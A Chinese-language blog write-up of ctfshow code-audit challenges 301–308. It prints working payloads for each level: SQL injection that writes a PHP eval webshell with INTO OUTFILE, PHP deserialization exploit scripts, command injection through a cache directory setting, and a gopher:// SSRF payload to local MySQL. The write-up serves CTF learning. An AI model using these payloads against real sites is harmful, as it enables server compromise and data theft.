ctfshow入门之代码审计

301

看了看 checklogin.php 发现sql语句没有 waf

在这里插入图片描述

直接丢 sqlmap 跑

1
sqlmap -u http://1f86e2bb-cb41-4413-a1d2-8a4074391a02.challenge.ctf.show:8080/login.php  --form --batch --dump 

得到账号密码

在这里插入图片描述

登录就能得到flag了

我们也也可以写个木马
userid=a ' union select "<?php eval($_POST[1]);?>" into outfile "/var/www/html/a.php"%23&userpwd=b

302

修改地方 if(!strcasecmp(sds_decode($userpwd),$row['sds_password'])){

payload

1
userid=a ' union select "<?php eval($_POST[1]);?>" into outfile "/var/www/html/a.php"%23&userpwd=b

303

发现账号密码

在这里插入图片描述

但是我登录不进去 卧槽 这题我服了 得登录才能insert注入 这个密码也不对啊

看了看师傅wp 密码 是admin ….

注入点在 dptadd.php

在这里插入图片描述

payload:

1
2
3
4
5
6
查表名
dpt_name=1',sds_address =(select group_concat(table_name) from information_schema.tables where table_schema=database())%23
查列名
dpt_name=1',sds_address =(select group_concat(column_name) from information_schema.columns where table_name='sds_fl9g')%23
查数据
dpt_name=1',sds_address =(select flag from sds_fl9g)%23

304

跟上一题一样

305

这题我没审出来 我好菜。。

checklogin.php 有反序列化

在这里插入图片描述

再看看 class.php file_put_contents()在这里插入图片描述

exp:

1
2
3
4
5
6
7
8
9
10
<?php
class user{
public $username;
public $password;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
}
echo serialize(new user('a.php','<?php eval($_POST[1]);?>'));

burp里面url编码一下 然后cookie传上去(要在checklogin.php)

在这里插入图片描述

蚁剑连接 没发现flag 估计藏在数据库了 看了看 conn.php 发现账号 密码 数据库类型 蚁剑直接连数据库

在这里插入图片描述

306

在class.php发现

在这里插入图片描述

dao.php发现

在这里插入图片描述

同样在checklogin.php发现 反序列化利用点 不过多了个base64encode

在这里插入图片描述

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class dao{
private $conn;

public function __construct(){
$this->conn=new log();
}
}
class log{
public $title='a.php';
public $info='<?php eval($_POST[1]);?>';
}
$a=new dao();
echo base64_encode(serialize($a));

本来还想再 checklogin.php 利用 忘记了他没引用dao.php和class.php

所以只能在inde.php利用

cookie 传参即可

307

这下把class.php里面的close()方法改名成了closelog(),全局找了一下,只有这一个地方有,所以这个方法大概率是死了,除非能找到可控变量->(可控变量)这样的地方才可以用

发现dao.php 有命令执行

在这里插入图片描述

logout.php 有利用到这个函数

1
2
3
4
$service = unserialize(base64_decode($_COOKIE['service']));
if($service){
$service->clearCache();
}

只要修改下config类中的$cache_dir然后命令拼接下就行了。
我们这个反序列化出来的service有两个选择,一个是生成service类,一个是生成dao类。两个都可以调用clearCache函数,但是service是通过dao类调用的clearCache。所以我们不需要用到service类
poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class config{
public $cache_dir = 'cache/*;cat /var/www/html/flag.php > /var/www/html/2.txt;';
}
class dao
{
private $config;

public function __construct()
{
$this->config = new config();
}
}
echo base64_encode(serialize(new dao()));

在这里插入图片描述

去访问 2.txt 得到flag

308

看了看同样的位置 发现加了waf 这个利用点肯定不行

在这里插入图片描述

看了看 fun.php 发现可以ssrf

在这里插入图片描述

dao.php发现

在这里插入图片描述

index.php发现 可以看到调用了 checkVersion 还有变量 $service的利用点

在这里插入图片描述

工具 https://github.com/tarunkant/Gopherus 账号为root config.php里面看到的

在这里插入图片描述

1
gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%45%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3b%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%22%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%61%2e%70%68%70%22%01%00%00%00%01

exp:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class config{
public $update_url = 'gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%45%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3b%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%22%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%61%2e%70%68%70%22%01%00%00%00%01';
}
class dao{
private $config;

public function __construct(){
$this->config=new config();
}
}
echo base64_encode(serialize(new dao()));
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!

扫一扫,分享到微信

微信分享二维码
  • Copyrights © 2021-2023 Wh1tecell
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~